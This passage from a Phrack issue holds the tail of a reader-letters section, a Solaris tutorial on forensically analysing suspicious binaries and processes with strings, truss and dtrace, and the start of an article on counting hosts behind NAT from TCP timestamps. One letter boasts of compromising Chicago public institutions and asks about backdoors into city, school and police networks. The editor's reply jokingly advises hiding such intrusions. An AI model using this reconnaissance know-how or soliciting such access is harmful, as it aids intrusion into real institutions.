[ Oh shit! the CBS is after you. Oh Shit. OH SHIT! I heard they got certified 2 years before you! THEY ARE BETTER. I'M TELLING YOU! RUUUUUUUN! ]

By pure accident I compromised a large City of Chicago institution over the 2003‑2004 Christmas break.

[ These accidents happen all the time. Ask my lawyer. ]

During my research for this project I have compromised other large Chicagoland institutions.

[ Rule 1: If you hack dont tell it to anyone. It's risky. Especially in the country where you are living. ]

For now, I would just like to know if anyone out there has penetrated the following networks and obtained any confidential data or left back doors to the following networks. Chicago Public Schools, City of Chicago, Chicago Police or Cook County.

[ Rule 2: Dont ever tell anyone what you hacked. ]

Christopher B. Jurczyk

c‑jurczyk@northwestern.edu

[ Rule 3: DONT FUCKING POST YOUR EMAIL TO LOOPBACK!!!! ]

|=[ 0x06 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

BTW I noticed phrack.org has no reverse DNS. Deliberate?

[ anti hacker techniques. ]

|=[ 0x07 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: tammy morgan <pipy2u@yahoo.com>

Ok i know you hate dumb questons.

[ I love them. They make my day. ]

Being new to this world cant read mag issues. Am subscriber got list from bot must have key.

[ Am editor. Dont get you saying what. Hi. ]

But which one do i use to unlock and read. Soooo "LAME" sorry sorry i am, but could you take pity and just tell me how to open and read issues?

[ ... ]

|=[ 0x08 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Joshua Morales <moreasm@yahoo.com>

This is really stupid question. can i subscribe to

your publication.

[ This is a really smart question: Who gave you our email address? ]

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Linenoise

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x03 of 0x14

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L I N E N O I S E ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrack staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

...all that does not fit anywhere else but which is worth beeing mentioned in our holy magazine.... enjoy linenoise.

0x03‑1 Analysing suspicious binary files by Boris Loza 0x03‑2 TCP Timestamp to count hosts behind NAT by Elie aka Lupin 0x03‑3 Elliptic Curve Cryptography by f86c9203

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ 0x03‑1 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑Analyzing Suspicious Binary Files and Processes‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑By Boris Loza, PhD‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑bloza@tegosystemonline.com‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. Introduction

2. Analyzing a 'strange' binary file

3. Analyzing a 'strange' process

4. Security Forensics using DTrace

5. Conclusion

‑‑[ Introduction

The art of security forensics requires lots of patience, creativity and observation. You may not always be successful in your endeavours but constantly 'sharpening' your skills by hands‑on practicing, learning a couple more things here and there in advance will definitely help.

In this article I'd like to share my personal experience in analyzing suspicious binary files and processes that you may find on the system. We will use only standard, out of the box, UNIX utilities. The output for all the examples in the article is provided for Solaris OS.

‑‑[ Analyzing a 'strange' binary file

During your investigation you may encounter some executable (binary) files whose purpose in your system you don't understand. When you try to read this file it displays 'garbage'. You cannot recognize this file by name and you are not sure if you saw it before.

Unfortunately, you cannot read the binary file with more, cat, pg, vi or other utilities that you normally use for text files. You will need other tools. In order to read such files, I use the following tools: strings, file, ldd, adb, and others.

Let's assume, for example, that we found a file called cr1 in the /etc directory. The first command to run on this file is strings(1). This will show all printable strings in the object or binary file:

$ strings cr1 | more

%s %s %s%s%s ‑> %s%s%s (%.*s)

Version: 2.3

Usage: dsniff [‑cdmn] [‑i interface] [‑s snaplen] [‑f services] [‑t trigger[,...]] [‑r|‑w savefile] [expression] ...

/usr/local/lib/dsniff.magic

/usr/local/lib/dsniff.services

...

The output is very long, so some of it has been omitted. But you can see that it shows that this is actually a dsniff tool masquerading as cr1.

Sometimes you may not be so lucky in finding the name of the program, version, and usage inside the file. If you still don't know what this file can do, try to run strings with the 'a' flag, or just '‑'. With these options, strings will look everywhere in the file for strings. If this flag is omitted, strings only looks in the initialized data space of the object file:

$ strings cr1 | more

Try to compare this against the output from known binaries to get an idea of what the program might be.

Alternatively, you can use the nm(1) command to print a name list of an object file:

$ /usr/ccs/bin/nm ‑p cr1 | more

cr1:

[Index] Value Size Type Bind Other Shndx Name [180] |0 | 0| FILE | LOCL | 0 |ABS | decode_smtp.c [2198] |160348| 320| FUNC | GLOB | 0 | 9 | decode_sniffer

Note that the output of this command may contain thousands of lines, depending on the size of the object file. You can run nm through pipe to more or pg, or redirect the output to the file for further analysis.

To check the runtime linker symbol table ‑ calls of shared library routines, use nm with the '‑Du' options, where ‑D displays the symbol table used by ld.so.1 and is present even in stripped dynamic executables, and ‑u prints a long listing for each undefined symbol.

You can also dump selected parts of any binary file with the dump(1) or elfdump(1) utilities. The following command will dump the strings table of cr1 binary:

$ /usr/ccs/bin/dump ‑c ./cr1 | more

You may use the following options to dump various parts of the file: ‑c Dump the string table(s).

‑C Dump decoded C++ symbol table names.

‑D Dump debugging information.

‑f Dump each file header.

‑h Dump the section headers.

‑l Dump line number information.

‑L Dump dynamic linking information and static shared library information, if available.

‑o Dump each program execution header.

‑r Dump relocation information.

‑s Dump section contents in hexadecimal.

‑t Dump symbol table entries.

Note: To display internal version information contained within an ELF file, use the pvs(1) utility.

If you are still not sure what the file is, run the command file(1):

$ file cr1

cr1: ELF 32‑bit MSB executable SPARC32PLUS Version 1, V8+ Required, UltraSPARC1 Extensions Required, dynamically linked, not stripped

Based on this output, we can tell that this is an executable file for SPARC that requires the availability of libraries loaded by the OS (dynamically linked). This file also is not stripped, which means that the symbol tables were not removed from the compiled binary. This will help us a lot when we do further analysis.

Note: To strip the symbols, do strip <my_file>.

The file command could also tell us that the binary file is statically linked, with debug output or stripped.

Statically linked means that all functions are included in the binary, but results in a larger executable. Debug output ‑ includes debugging symbols, like variable names, functions, internal symbols, source line numbers, and source file information. If the file is stripped, its size is much smaller.

The file command identifies the type of a file using, among other tests, a test for whether the file begins with a certain magic number (see the /etc/magic file). A magic number is a numeric or string constant that indicates the file type. See magic(4) for an explanation of the format of /etc/magic.

If you still don't know what this file is used for, try to guess this by taking a look at which shared libraries are needed by the binary using ldd(1) command:

$ ldd cr1

...

libsocket.so.1 => /usr/lib/libsocket.so.1

librpcsvc.so.1 => /usr/lib/librpcsvc.so.1

...

This output tells us that this application requires network share libraries (libsocket.so.1 and librpcsvc.so.1).

The adb(1) debugger can also be very useful. For example, the following output shows step‑by‑step execution of the binary in question:

# adb cr1

:s

adb: target stopped at:

ld.so.1`_rt_boot: ba,a +0xc

<ld.so.1`_rt_boot+0xc>

,5:s

adb: target stopped at:

ld.so.1`_rt_boot+0x58: st %l1, [%o0 + 8]

You can also analyze the file, or run it and see how it actually works. But be careful when you run an application because you don't know yet what to expect. For example:

# adb cr1

:r

Using device /dev/hme0 (promiscuous mode)

192.168.2.119 ‑> web TCP D=22 S=1111 Ack=2013255208 Seq=1407308568 Len=0 Win=17520

web ‑> 192.168.2.119 TCP D=1111 S=22 Push Ack=1407308568

We can see that this program is a sniffer. See adb(1) for more information of how to use the debugger.

If you decide to run a program anyway, you can use truss(1). The truss command allows you to run a program while outputting system calls and signals.

Note: truss produces lots of output. Redirect the output to the file:

$ truss ‑f ‑o cr.out ./cr1

listening on hme0

^C

$

Now you can easily examine the output file cr.out.

As you can see, many tools and techniques can be used to analyze a strange file. Not all files are easy to analyze. If a file is a statically linked stripped binary, it would be much more difficult to find what a file (program) is up to. If you cannot tell anything about a file using simple tools like strings and ldd, try to debug it and use truss. Experience using and analyzing the output of these tools, together with a good deal of patience, will reward you with success.

‑‑[ Analyzing a 'strange' process

What do you do if you find a process that is running on your system, but you don't know what it is doing? Yes, in UNIX everything is a file, even a process! There may be situations in which the application runs on the system but a file is deleted. In this situation the process will still run because a link to the process exists in the /proc/[PID]/object/a.out directory, but you may not find the process by its name running the find(1) command.

For example, let's assume that we are going to investigate the process ID 22889 from the suspicious srg application that we found running on our system:

# ps ‑ef | more

UID PID PPID C STIME TTY TIME CMD

...

root 22889 16318 0 10:09:25 pts/1 0:00 ./srg

...

Sometimes it is as easy as running the strings(1) command against the /proc/[PID]/object/a.out to identify the process.

# strings /proc/22889/object/a.out | more

...

TTY‑Watcher version %s

Usage: %s [‑c]

‑c turns on curses interface

NOTE: Running without root privileges will only allow you to monitor yourself.

...

We can see that this command is a TTY‑Watcher application that can see all keystrokes from any terminal on the system.

Suppose we were not able to use strings to identify what this process is doing. We can examine the process using other tools.

You may want to suspend the process until you will figure out what it is. For example, run kill ‑STOP 22889 as root. Check the results. We will look for 'T' which indicates the process that was stopped:

# /usr/ucb/ps | grep T

root 22889 0.0 0.7 3784 1720 pts/1 T 10:09:25 0:00 ./srg

Resume the process if necessary with kill ‑CONT <PID>

To further analyze the process, we will create a \core dump\ of variables and stack of the process:

# gcore 22889

gcore: core.22889 dumped

Here, 22889 is the process ID (PID). Examine results of the core.22889 with strings:

# strings core.22889 | more

...

TTY‑Watcher version %s

Usage: %s [‑c]

‑c turns on curses interface

NOTE: Running without root privileges will only allow you to monitor yourself.

...

You may also use coreadm(1M) to analyze the core.22889 file. The coreadm tool provides an interface for managing the parameters that affect core file creation. The coreadm command modifies the /etc/coreadm.conf file. This file is read at boot time and sets the global parameters for core dump creation.

First, let's set our core filenames to be of the form core.<PROC NAME>.<PID>. We'll do this only for all programs we execute in this shell (the $$ notation equates to the PID of our current shell):

$ coreadm ‑p core.%f.%p $$

The %f indicates that the program name will be included, and the %p indicates that the PID will be appended to the core filename.

You may also use adb to analyze the process. If you don't have the object file, use the /proc/[PID]/object/a.out. You can use a core file for the process dumped by gcore or specify a '‑' as a core file. If a dash (‑) is specified for the core file, adb will use the system memory to execute the object file. You can actually run the object file under the adb control (it could also be dangerous because you don't know for sure what this application is supposed to do!):

# adb /proc/22889/object/a.out ‑

main:b

:r

breakpoint at:

main: save %sp, ‑0xf8, %sp

...

:s

stopped at:

main+4: clr %l0

:s

stopped at:

main+8: sethi %hi(0x38400), %o0

$m

? map

...

b11 = ef632f28 e11 = ef6370ac f11 = 2f28 `/usr/lib/libsocket.so.1' $q

We start the session by setting a breakpoint at the beginning of main() and then begin execution of a.out by giving adb the ':r' command to run. Immediately, we stop at main(), where our breakpoint was set. Next, we list the first instruction from the object file. The ':s' command tells adb to step, executing only one assembly instruction at a time.

Note: Consult the book Panic!, by Drake and Brown, for more information on how to use adb to analyze core dumps.

To analyze the running process, use truss:

# truss ‑vall ‑f ‑o /tmp/outfile ‑p 22889

# more /tmp/outfile

On other UNIX systems, where available, you may trace a process by using the ltrace or strace commands. To start the trace, type ltrace ‑p <PID>.

To view the running process environment, you may use the following:

# /usr/ucb/ps auxeww 22889

USER PID %CPU %MEM SZ RSS TT S START TIME COMMAND root 22889 0.0 0.4 1120 896 pts/1 S 14:15:27 0:00 sh _=/usr/bin/csh

MANPATH=/usr/share/man:/usr/local/man HZ= PATH=/usr/sbin:/usr/bin:/usr/local/bin:/usr/ccs/bin:/usr/local/sbin: /opt/NSCPcom/ LOGNAME=root SHELL=/bin/ksh HOME=/ LD_LIBRARY_PATH=/usr/openwin/lib:/usr/local/lib TERM=xterm TZ=

The /usr/ucb directory contains SunOS/BSD compatibility package commands. The /usr/ucb/ps command displays information about processes. We used the following options (from the man for ps(1B)):

‑a Include information about processes owned by others.

‑u Display user‑oriented output. This includes fields USER, %CPU,o %MEM, SZ, RSS and START as described below.

‑x Include processes with no controlling terminal.

‑e Display the environment as well as the arguments to the command. ‑w Use a wide output format (132 columns rather than 80); if repeated, that is, ‑ww, use arbitrarily wide output. This information is used to decide how much of long commands to print.

To view the memory address type:

# ps ‑ealf | grep 22889

F S UID PID PPID C PRI NI ADDR SZ WCHAN

STIME TTY TIME CMD

8 S root 3401 22889 0 41 20 615a3b40 474 60ba32e6 14:16:49 pts/1 0:00 ./srg

To view the memory usage, type:

# ps ‑e ‑opid,vsz,rss,args

PID VSZ RSS COMMAND

...

22889 3792 1728 ./srg

We can see that the ./srg uses 3,792 K of virtual memory, 1,728 of which have been allocated from physical memory.

You can use the /etc/crash(1M) utility to examine the contents of a proc structure of the running process:

# /etc/crash

dumpfile = /dev/mem, namelist = /dev/ksyms, outfile = stdout

> p

PROC TABLE SIZE = 3946

SLOT ST PID PPID PGID SID UID PRI NAME FLAGS

...

66 s 22889 16318 16337 24130 0 58 srg load

> p ‑f 66

PROC TABLE SIZE = 3946

SLOT ST PID PPID PGID SID UID PRI NAME FLAGS

66 s 22889 16318 16337 24130 0 58 srg load

Session: sid: 24130, ctty: vnode(60b8f3ac) maj( 24) min( 1)

...

>

After invoking the crash utility, we used the p function to get the process table slot (66, in this case). Then, to dump the proc structure for process PID 22889, we again used the p utility, with the '‑f' flag and the process table slot number.

Like the process structure, the uarea contains supporting data for signals, including an array that defines the disposition for each possible signal. The signal disposition tells the operating system what to do in the event of a signal ‑ ignore it, catch it and invoke a user‑defined signal handler, or take the default action. To dump a process's uarea:

> u 66

PER PROCESS USER AREA FOR PROCESS 66

PROCESS MISC:

command: srg, psargs: ./srg

start: Mon Jun 3 08:56:40 2002

mem: 6ad, type: exec su‑user

vnode of current directory: 612daf48

...

>

The 'u' function takes a process table slot number as an argument. To dump the address space of a process, type:

# /usr/proc/bin/pmap ‑x 22889

To obtain a list of process's open files, use the /usr/proc/bin/pfiles command:

# /usr/proc/bin/pfiles 22889

The command lists the process name and PID for the process' open files. Note that various bits of information are provided on each open file, including the file type, file flags, mode bits, and size.

If you cannot find a binary file and the process is on the memory only, you can still use methods described for analyzing suspicious binary files above against the process's object file. For example:

# /usr/ccs/bin/nm a.out | more

a.out:

[Index] Value Size Type Bind Other Shndx Name

...

[636] | 232688| 4|OBJT |GLOB |0 |17 |Master_utmp [284] | 234864| 20|OBJT |GLOB |0 |17 |Mouse_status

You may also use mdb(1) ‑ a modular debugger to analyze the process:

# mdb ‑p 22889

Loading modules: [ ld.so.1 libc.so.1 libnvpair.so.1 libuutil.so.1 ] > ::objects

BASE LIMIT SIZE NAME

10000 62000 52000 ./srg

ff3b0000 ff3dc000 2c000 /lib/ld.so.1

ff370000 ff37c000 c000 /lib/libsocket.so.1

ff280000 ff312000 92000 /lib/libnsl.so.1

‑‑[ Security Forensics using DTrace

Solaris 10 has introduced a new tool for Dynamic Tracing in the OS environment ‑ dtrace. This is a very powerful tool that allows system administrators to observe and debug the OS behaviour or even to dynamically modify the kernel. Dtrace has its own C/C++ like programming language called 'D language' and comes with many different options that I am not going to discuss here. Consult dtrace(1M) man pages and http://docs.sun.com/app/docs/doc/817‑6223 for more information.

Although this tool has been designed primarily for developers and administrators, I will explain how one can use dtrace for analyzing suspicious files and process.

We will work on a case study, as followes. For example, let's assume that we are going to investigate the process ID 968 from the suspicious srg application that we found running on our system.

By typing the following at the command‑line, you will list all files that this particular process opens at the time of our monitoring. Let it run for a while and terminate with Control‑C:

# dtrace ‑n syscall::open:entry'/pid == 968/

{ printf("%s%s",execname,copyinstr(arg0)); }'

dtrace: description 'syscall::open*:entry' matched 2 probes

^C

CPU ID FUNCTION:NAME

0 14 open:entry srg /var/ld/ld.config

0 14 open:entry srg /lib/libdhcputil.so.1 0 14 open:entry srg /lib/libsocket.so.1 0 14 open:entry srg /lib/libnsl.so.1

D language comes with its own terminology, which I will try to address here briefly.

The whole 'syscall::open:entry' construction is called a 'probe' and defines a location or activity to which dtrace binds a request to perform a set of 'actions'. The 'syscall' element of the probe is called a 'provider' and, in our case, permits to enable probes on 'entry' (start) to any 'open' Solaris system call ('open' system call instracts the kernel to open a file for reading or writing).

The so‑called 'predicate' ‑ /pid == 968/ uses the predefined dtrace variable 'pid', which always evaluates to the process ID associated with the thread that fired the corresponding probe.

The 'execname' and 'copyinstr(arg0)' are called 'actions' and define the name of the current process executable file and convert the first integer argument of the system call (arg0) into a string format respectively. The printf's action uses the same syntax as in C language and serves for the same purpose ‑ to format the output.

Each D program consists of a series of 'clauses', each clause describing one or more probes to enable, and an optional set of actions to perform when the probe fires. The actions are listed as a series of statements enclosed in curly braces { } following the probe name. Each statement ends with a semicolon (;).

You may want to read the Introduction from Solaris Tracing Guide (http://docs.sun.com/app/docs/doc/817‑6223) for more options and to

understand the syntax.

Note: As the name suggests, the dtrace (Dynamic Trace) utility will show you the information about a chnaging process ‑ in dynamic. That is, if the process is idle (doesn't do any system calls or opens new files), you won't be able to get any information. To analyze the process, either restart it or use methods described in the previous two sections of this paper.

Second, we will use the following command‑line construction to list all system calls for 'srg'. Let it run for a while and terminate by Control‑C:

# dtrace ‑n 'syscall:::entry /execname == "srg"/ { @num[probefunc] = count(); }'

dtrace: description 'syscall:::entry ' matched 226 probes

^C

pollsys 1

getrlimit 1

connect 1

setsockopt 1

...

You may recognize some of the building elements of this small D program. In addition, this clause defines an array named 'num' and assigns the appropriate member 'probefunc' (executed system call's function) the namber of times these particular functions have been called (count()).

Using dtrace we can easily emulate all utilities we have used in the previous sections to analyze suspicious binary files and processes. But dtrace is much more powerful tool and may provide one with more functionality: for example, you can dynamically monitor the stack of the process in question:

# dtrace ‑n 'syscall:::entry/execname == "srg"/{ustack()}'

0 286 lwp_sigmask:entry libc.so.1`__systemcall6+0x20 libc.so.1`pthread_sigmask+0x1b4 libc.so.1`sigprocmask+0x20 srg`srg_alarm+0x134

srg`scan+0x400

srg`net_read+0xc4

srg`main+0xabc

srg`_start+0x108

Based on all our investigation (see the list of opened files, syscalls, and the stack examination above), we may positively conclude that srg is a network based application. Does it write to the network? Let's check it by constructing the following clause:

# dtrace ‑n 'mib:ip::/execname == "srg"/{@[execname]=count()}' dtrace: description 'mib:ip::' matched 412 probes

dtrace: aggregation size lowered to 2m

^C

srg 520

It does. We used 'mib' provider to find out if our application transmits to the network.

Could it be just a sniffer or a netcat‑liked application that is bounded to a specific port? Let's run dtrace in the truss(1) like fashion to answer this question (inspired by Brendan Gregg's dtruss utility ):

#!/usr/bin/sh

#

dtrace='

inline string cmd_name = "'$1'";

/*

** Save syscall entry info

*/

syscall:::entry

/execname == cmd_name/

{

/* set start details */

self‑>start = timestamp;

self‑>arg0 = arg0;

self‑>arg1 = arg1;

self‑>arg2 = arg2;

}

/* Print data */

syscall::write:return,

syscall::pwrite:return,

syscall::*read*:return

/self‑>start/

{

printf("%s(0x%X, \"%S\", 0x%X)\t\t = %d\n",probefunc,self‑>arg0, stringof(copyin(self‑>arg1,self‑>arg2)),self‑>arg2,(int)arg0);

self‑>arg0 = arg0;

self‑>arg1 = arg1;

self‑>arg2 = arg2;

}

'

# Run dtrace

/usr/sbin/dtrace ‑x evaltime=exec ‑n "$dtrace" >&2

Save it as truss.d, change the permissions to executable and run:

# ./truss.d srg

0 13 write:return write(0x1, " sol10 > 192.168.2.119 TCP D=3138 S=22 Ack=713701289 Seq=3755926338 Len=0 Win=49640\n8741 Len=52 Win=16792\n\0", 0x5B) = 91 0 13 0 13

write:return write(0x1, "192.168.2.111 ‑> 192.168.2.1 UDP D=1900 S=21405 LEN=140\n\0", 0x39) = 57

^C

Looks like a sniffer to me, with probably some remote logging (remember the network transmission by ./srg discovered by the 'mib' provider above!).

You can actually write pretty sophisticated programs for dtrace using D language.

Take a look at /usr/demo/dtrace for some examples.

You may also use dtrace for other forensic activities. Below is an example of more complex script that allows monitoring of who fires the suspicious application and starts recording of all the files opened by the process:

#!/usr/bin/sh

command=$1

/usr/sbin/dtrace ‑n '

inline string COMMAND = "'$command'";

#pragma D option quiet

/*

** Print header

*/

dtrace:::BEGIN

{

/* print headers */

printf("%‑20s %5s %5s %5s %s\n","START_TIME","UID","PID","PPID","ARGS"); }

/*

** Print exec event

*/

syscall::exec:return, syscall::exece:return

/(COMMAND == execname)/

{

/* print data */

printf("%‑20Y %5d %5d %5d %s\n",walltimestamp,uid,pid,ppid, stringof(curpsinfo‑>pr_psargs));

s_pid = pid;

}

/*

** Print open files

*/

syscall::open*:entry

/pid == s_pid/

{

printf("%s\n",copyinstr(arg0));

}

'

Save this script as wait.d, change the permissions to executable 'chmod +x wait.d' and run:

# ./wait.d srg

START_TIME UID PID PPID ARGS

2005 May 16 19:51:20 100 1582 1458 ./srg

/var/ld/ld.config

/lib/libnsl.so.1

/lib/libsocket.so.1

/lib/libresolv.so.2

...

^C

Once the srg is started you will see the output.

However, the real power of dtrace comes from the fact that you can do things with it that won't be possible without writing a comprehensive C program. For example, the shellsnoop application written by Brendan Gregg (http://users.tpg.com.au/adsln4yb/DTrace/shellsnoop) allows you to use

dtrace at the capacity of ttywatcher!

It is not possible to show all capabilities of dtrace in such a small presentation of this amazing utility. Dtrace is a very powerful as well a complex tool with virtually endless capabilities. Although Sun insists that you don't have to have a 'deep understanding of the kernel for DTrace to be useful', the knowledge of Solaris internals is a real asset. Taking a look at the include files in /usr/include/sys/ directory may help you to write complex D scripts and give you more of an understanding of how Solaris 10 is implemented.

‑‑[ Conclusion

Be creative and observant. Apply all your knowledge and experience for analyzing suspicious binary files and processes. Also, be patient and have a sense of humour!

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ 0x03‑2 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑=[ TCP Timestamp To count Hosts behind NAT ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Elie aka Lupin (lupin@zonart.net) ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

Table of Contents

*=*=*=*=*=*=*=*=*

1.0 ‑ Introduction

2.0 ‑ Time has something to tell us

‑ 2.1 Past history

‑ 2.2 Present

‑ 2.3 Back to the begin of timestamp history

‑ 2.4 Back to school

‑ 2.5 Back to the NAT

‑ 2.6 Let's do PAT

‑ 2.7 Time to fightback

3.0 History has something to tell us

‑ 3.1 Which class ?

‑ 3.2 So were does it come from ?

‑ 3.3 How do you find it ?

‑ 3.4 Back to the future

‑ 4 Learning from the past aka conclusion

‑ A Acknowledgements

‑ B Proof of concept

‑‑[ 1.0 ‑ Introduction

This article is about TCP timestamp option. This option is used to offer a new way for counting host beyond a NAT and enhanced host fingerprinting. More deeply, this article tries to give a new vision of a class of bug known has "Design error". The bug described here, deserves interest for the following reasons.

‑ It's new.

‑ It affects every platform since it is related to the specification rather than implementation.

‑ It's a good way to explain how some specifications can be broken.

The article is organized has follow : First I will explain what's wrong about TCP timestamp. Then I will describe How to exploit it, the limitations of this exploitation and a way to avoid it. In the second part I will talk about the origin of this error and why it will happen again. At the end I will give a proof of concept and greeting as usual.

‑‑[ 2.0 ‑ Time has something to tell us

‑‑‑‑[ 2.1 ‑ Past history

Fingerprinting and Nat detection have been an active field for long time. Since you read phrack you already know the old school TCP/IP fingerprinting by Fyodor.

You may also know p0f (Passive of fingerprinting) by M. Zalewski. With the version 2 he has done a wonderful tool, introducing clever ways to know if a host uses the NAT mechanism by analyzing TCP packet option. If you are interested in this tool (and you should !) read his paper :

"Dr. Jekyll had something to Hyde"[5].

In fact the technique described here is related to p0f in the way, that like p0f, it can be totally passive.

To be complete about NAT detection, I need to mention that AT&T has done research on counting host behind a NAT[1]. Their work focus on IP ID, assuming that this value is incremental in some OS. In fact they are mainly talking about Windows box which increment IP ID by 256 for each packet. Discovered by Antirez[7], Nmap[6] has used this fact for a long time (option ‑sI).

Now that we know what we are talking about it's time to explain what's going on.

‑‑‑‑[ 2.2 ‑ Present

NAT was designed to face the IP address depletion. It is also used to hide multiple hosts behind a single IP. The TCP timestamp option[2] is improperly handled by the IP Network Address Translator (NAT) mechanism[3]. In other words even scrubbing from pf doesn't rewrite the timestamp option. Until now this property of the NAT has been useless (in the security point of view). It is interesting to point out that the timestamp option by itself has already been used for information disclosure. Let's take a quick look at timestamp security history

‑‑‑‑[ 2.3 ‑ Back to the beginning of timestamp history

In the past the timestamp has been used to calculate the uptime of a computer[4]. Any one who had try the TCP fingerprint option (‑O) of Nmap has been impressed by a line like this one :

"Uptime 36.027 days (since Tue May 25 11:12:31 2004)".

Of course their is no black magic behind that, only two facts :

‑ Time goes back only in movie (sorry boys...)

‑ Every OS increments the timestamp by one every n milliseconds.

So if you know the OS, you know how often the OS increment the timestamp option. All you have to do to know the uptime is to apply a trivial math formula :

timestamp / num inc by sec = uptime in sec

Has you can notice this formula does not take into account the warp around of integer. Here we know two information : the actual timestamp and the number of increments by second. This can only be done because we know the OS type. Let's see how we can improve this technique to do it without knowing the OS.

‑‑‑‑[ 2.4 ‑ Back to school

Remember a long time ago at school, you heard about affine function. A basic example of it is :

"y = Ax + B"

where A is the slope and B the initial point.

The graphic representation of it is straight line. From timestamp point of view this can be express has the follow :

timestamp = numincbysec * sec + intial number

When you do active fingerprinting you get the timestamp and know the numincbysec by guessing the OS.

Now let's suppose you can't guess the OS. In this case you don't know the slope and can't guess the uptime. Here is an other way to know the slope of the OS. You need to get the computer timestamp twice. Name it ts1 and ts2 and name the time (in sec) where you gather it t1 and t2.

With thoses informations, it is trivial to find the slope since we have the following equationnal system:

ts1 = A*s1 + B

ts2 = A*s2 + B

which is solved by the following equation :

ts1 ‑ ts2 = A*(s1 ‑ s2) <=> A = (ts1 ‑ ts2) / (s1 ‑ s2)

An imediate application of this idea can be implemented in active scanner:

requeste twice the timestamp to verify that the slope is the same as the one guessed.

This can be use to defeat some anti‑fingerprint tools. It also can be used as a standalone fingerprinting technic but will not be accurate has the TCP or ICMP one.

Now that we have the theory ready, let's go back to NAT.

‑‑‑‑[ 2.5 ‑ Back to the NAT

Let's make the connection with the NAT. Since the timestamp option is not rewritten by NAT, we can count the number of host behind the NAT using the following algorithm :

1. for each host already discovered verifying is the packet belong to it straight line equation. each host has a unique straight line equation until two host have booted at the same second.

2. otherwise add the packet to unmatched packet : a new host beyond NAT is detected.

Look to the proof of concept if you need to make things more clear. This simple algorithm has a lot of room for improvement. It has been keeped has simple has possible for clarity. As you can see timestamp option can be used to count host beyond a NAT in a reliable manner. It will also giveo indication of the OS class.

‑‑‑‑[ 2.6 ‑ Let's do PAT

PAT (Port Address Translation) is used to provide service on a box behind a NAT.

The question is how do I know that the port is forwarded?

Well timestamp is once again your friend. If for two different ports the slope of timestamp differs then there is a PAT and the OS of the two computers is different. If the timestamp gathered from the two ports does not belong to the same straight line, then it's the same OS but not the same computer.

Another interesting use of PAT is the round robin. Until now their were no way to know if such mechanism is used. By comparing the different timestamps gathered you can determine how many hosts are beyond a single port. This might be an interesting functionality to add to an active scanner.

‑‑‑‑[ 2.7 ‑ Time to fight back

Since playing with this option can give valuable information there is some limitation to this technique. Mainly Windows box does not use timestamp option when they establish connection[8] unless you activate it. This limitation only affects passive analysis, if you use timestamp when you connect to a windows it will use it too. Moreover many tweaks software activate the TCP extension in windows.

To be completed on the subject I had to mention that it seems that TCP extension does not exist on win 9X.

One other problem is the time gap. In passive mode there can be a desynchronization between computers due to computer desynchronization or network lags. In the proof of concept this phenomenon can occur. To handle it you need not to rely on the computer clock but on timestamp itself.

What can we do against this ? Since no vendor except Microsoft (1) (Thanks Magnus) has answer to me, the following workaround may not be available. Here is a theoric way to patch this problem.

1. Disabling tcp timestamp. This is the worse solution since we will need it with fast network[2].

2. Make NAT rewrite the timestamp and changing The NAT RFC.

3. Changing the RFC to specify that the timestamp option needs to have a random increment. Modifying each implementation to reflect this change. The a clean way to fix this thing because it's does not rely on an external system (the NAT computer in this case).

Well I have to try to be as complete as possible for this technical part. The next part will be more "philosophic" since it deals with the cause instead of the consequence.

‑‑[ 3 ‑ History has something to tell us

In this part I will try to focus on why we have this situation and what we can do about it. Here I am not talking about the timestamp option by itself but about the interaction between the timestamp option and the NAT mechanism.

‑‑‑‑[ 3.1 ‑ Which class ?

